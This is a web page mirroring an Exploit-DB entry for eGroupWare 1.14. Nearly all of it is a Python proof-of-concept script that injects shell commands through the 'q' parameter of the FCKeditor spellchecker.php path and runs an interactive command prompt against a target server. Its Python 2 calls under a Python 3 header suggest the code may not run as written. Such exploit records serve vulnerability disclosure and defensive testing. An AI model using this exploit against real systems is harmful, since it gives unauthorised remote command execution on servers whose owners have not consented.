eGroupWare 1.14 – ‘spellchecker.php’ Remote Command Execution - 体验盒子

作者： Berk KIRAS

日期： 2020-07-27

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/48720/

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# Exploit Title: eGroupWare 1.14 - 'spellchecker.php' Remote Command Execution

# Date: 2020-07-27

# Exploit Author: Berk KIRAS

# Vendor Homepage: https://www.egroupware.org/en/

# Version: 1.14

# Tested on: Apache

# Berk KIRAS PwC - Cyber Security Specialist

#!/usr/bin/python3

import requests

import sys

import threading

import urllib

def send_req(command):

#Headers

my_datas_headers ={

"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",

"Accept": "text/javascript, text/html, application/xml, text/xml, */*",

"Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3",

"Accept-Encoding": "gzip, deflate",

"Content-type": "application/json; charset=UTF-8",

"Connection": "close",

}

#If you want to edit and add headers some headers added

s = requests.session()

#if you want simple-> headers={'User-Agent': 'Mozilla', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}

s.headers.update(my_datas_headers)

params={"q":"||"+command+"||"}

command_encoded = urllib.urlencode(params)

command_encoded = command_encoded.split("=")[1]

r = s.get(sys.argv[1]+"://"+sys.argv[2]+"/egroupware/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/"+"spellchecker.php?spellchecker_lang=egroupware_spellchecker_cmd_exec.nasl"+command_encoded)

return r.content

def main():

if(len(sys.argv) < 3):

print("Usage:exploit.py <http/s> <IP> ")

sys.exit(0)

else:

try:

while True:

cmd = raw_input("CMD_>")

resp=send_req(cmd).split(";")[5].split("2>&1")[1]

print(resp)

except Exception:

print(Exception)

main()